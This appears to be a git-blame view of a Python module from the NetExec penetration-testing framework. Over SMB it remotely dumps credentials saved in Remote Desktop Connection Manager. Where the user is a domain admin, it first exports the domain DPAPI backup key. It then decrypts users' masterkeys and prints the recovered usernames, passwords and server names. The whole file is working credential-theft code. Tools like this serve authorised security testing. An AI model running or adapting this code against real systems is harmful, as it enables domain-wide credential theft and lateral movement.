NetExec/nxc/modules/rdcman.py

196 lines
7.6 KiB
Python
Raw Normal View History

2023-02-14 10:12:22 +00:00
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from dploot.triage.rdg import RDGTriage
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
from dploot.triage.backupkey import BackupkeyTriage
from dploot.lib.target import Target
from dploot.lib.smb import DPLootSMBConnection
from nxc.helpers.logger import highlight
2023-02-14 10:12:22 +00:00
2023-05-02 15:17:59 +00:00
class nxcModule:
2023-02-14 10:12:22 +00:00
name = "rdcman"
2023-05-08 18:39:36 +00:00
description = "Remotely dump Remote Desktop Connection Manager (sysinternals) credentials"
2023-02-14 10:12:22 +00:00
supported_protocols = ["smb"]
2023-05-02 15:17:59 +00:00
opsec_safe = True
2023-02-14 10:12:22 +00:00
multiple_hosts = True
def options(self, context, module_options):
"""
PVK Domain backup key file
MKFILE File with masterkeys in form of {GUID}:SHA1
"""
self.pvkbytes = None
self.masterkeys = None
if "PVK" in module_options:
2023-05-02 15:17:59 +00:00
self.pvkbytes = open(module_options["PVK"], "rb").read()
2023-02-14 10:12:22 +00:00
if "MKFILE" in module_options:
self.masterkeys = parse_masterkey_file(module_options["MKFILE"])
2023-05-02 15:17:59 +00:00
self.pvkbytes = open(module_options["MKFILE"], "rb").read()
2023-02-14 10:12:22 +00:00
def on_admin_login(self, context, connection):
host = connection.hostname + "." + connection.domain
domain = connection.domain
username = connection.username
kerberos = connection.kerberos
aesKey = connection.aesKey
use_kcache = getattr(connection, "use_kcache", False)
password = getattr(connection, "password", "")
lmhash = getattr(connection, "lmhash", "")
nthash = getattr(connection, "nthash", "")
if self.pvkbytes is None:
try:
dc = Target.create(
domain=domain,
username=username,
password=password,
target=domain,
lmhash=lmhash,
nthash=nthash,
do_kerberos=kerberos,
aesKey=aesKey,
no_pass=True,
use_kcache=use_kcache,
)
dc_conn = DPLootSMBConnection(dc)
dc_conn.connect()
if dc_conn.is_admin:
2023-05-08 18:39:36 +00:00
context.log.success("User is Domain Administrator, exporting domain backupkey...")
2023-02-14 10:12:22 +00:00
backupkey_triage = BackupkeyTriage(target=dc, conn=dc_conn)
backupkey = backupkey_triage.triage_backupkey()
self.pvkbytes = backupkey.backupkey_v2
except Exception as e:
context.log.debug("Could not get domain backupkey: {}".format(e))
pass
target = Target.create(
domain=domain,
username=username,
password=password,
target=host,
lmhash=lmhash,
nthash=nthash,
do_kerberos=kerberos,
aesKey=aesKey,
no_pass=True,
use_kcache=use_kcache,
)
conn = None
try:
2023-05-02 15:17:59 +00:00
conn = DPLootSMBConnection(target)
2023-02-14 10:12:22 +00:00
conn.smb_session = connection.conn
except Exception as e:
context.log.debug("Could not upgrade connection: {}".format(e))
return
2023-05-08 18:39:36 +00:00
plaintexts = {username: password for _, _, username, password, _, _ in context.db.get_credentials(cred_type="plaintext")}
nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in context.db.get_credentials(cred_type="hash")}
2023-05-02 15:17:59 +00:00
if password != "":
2023-02-14 10:12:22 +00:00
plaintexts[username] = password
2023-05-02 15:17:59 +00:00
if nthash != "":
2023-02-14 10:12:22 +00:00
nthashes[username] = nthash
if self.masterkeys is None:
try:
2023-05-02 15:17:59 +00:00
masterkeys_triage = MasterkeysTriage(
target=target,
conn=conn,
pvkbytes=self.pvkbytes,
passwords=plaintexts,
nthashes=nthashes,
)
2023-02-14 10:12:22 +00:00
self.masterkeys = masterkeys_triage.triage_masterkeys()
except Exception as e:
context.log.debug("Could not get masterkeys: {}".format(e))
if len(self.masterkeys) == 0:
context.log.fail("No masterkeys looted")
2023-02-14 10:12:22 +00:00
return
2023-05-08 18:39:36 +00:00
context.log.success("Got {} decrypted masterkeys. Looting RDCMan secrets".format(highlight(len(self.masterkeys))))
2023-02-14 10:12:22 +00:00
try:
triage = RDGTriage(target=target, conn=conn, masterkeys=self.masterkeys)
rdcman_files, rdgfiles = triage.triage_rdcman()
for rdcman_file in rdcman_files:
if rdcman_file is None:
continue
for rdg_cred in rdcman_file.rdg_creds:
2023-05-02 15:17:59 +00:00
if rdg_cred.type == "cred":
context.log.highlight(
"[%s][%s] %s:%s"
% (
rdcman_file.winuser,
rdg_cred.profile_name,
rdg_cred.username,
rdg_cred.password.decode("latin-1"),
)
)
elif rdg_cred.type == "logon":
context.log.highlight(
"[%s][%s] %s:%s"
% (
rdcman_file.winuser,
rdg_cred.profile_name,
rdg_cred.username,
rdg_cred.password.decode("latin-1"),
)
)
elif rdg_cred.type == "server":
context.log.highlight(
"[%s][%s] %s - %s:%s"
% (
rdcman_file.winuser,
rdg_cred.profile_name,
rdg_cred.server_name,
rdg_cred.username,
rdg_cred.password.decode("latin-1"),
)
)
2023-02-14 10:12:22 +00:00
for rdgfile in rdgfiles:
if rdgfile is None:
continue
for rdg_cred in rdgfile.rdg_creds:
2023-05-02 15:17:59 +00:00
if rdg_cred.type == "cred":
context.log.highlight(
"[%s][%s] %s:%s"
% (
rdgfile.winuser,
rdg_cred.profile_name,
rdg_cred.username,
rdg_cred.password.decode("latin-1"),
)
)
elif rdg_cred.type == "logon":
context.log.highlight(
"[%s][%s] %s:%s"
% (
rdgfile.winuser,
rdg_cred.profile_name,
rdg_cred.username,
rdg_cred.password.decode("latin-1"),
)
)
elif rdg_cred.type == "server":
context.log.highlight(
"[%s][%s] %s - %s:%s"
% (
rdgfile.winuser,
rdg_cred.profile_name,
rdg_cred.server_name,
rdg_cred.username,
rdg_cred.password.decode("latin-1"),
)
)
2023-02-14 10:12:22 +00:00
except Exception as e:
2023-05-02 15:17:59 +00:00
context.log.debug("Could not loot RDCMan secrets: {}".format(e))